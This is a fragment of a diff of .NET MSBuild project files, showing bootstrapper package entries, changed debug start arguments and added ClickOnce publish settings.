<ProductName>Microsoft .NET Framework 4.5.2 %28x86 and x64%29</ProductName>
<Install>true</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>false</Install>
</BootstrapperPackage>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" /> <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project> </Project>

View File

@@ -5,7 +5,7 @@
</StartArguments> </StartArguments>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'">
<StartArguments>servicesinfo</StartArguments> <StartArguments>fileanalysis debug</StartArguments>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
<StartArguments>debug</StartArguments> <StartArguments>debug</StartArguments>
@@ -21,4 +21,14 @@
<StartArguments> <StartArguments>
</StartArguments> </StartArguments>
</PropertyGroup> </PropertyGroup>
<PropertyGroup>
<PublishUrlHistory>publish\</PublishUrlHistory>
<InstallUrlHistory />
<SupportUrlHistory />
<UpdateUrlHistory />
<BootstrapperUrlHistory />
<ErrorReportUrlHistory />
<FallbackCulture>en-US</FallbackCulture>
<VerifyUploadedFiles>false</VerifyUploadedFiles>
</PropertyGroup>
</Project> </Project>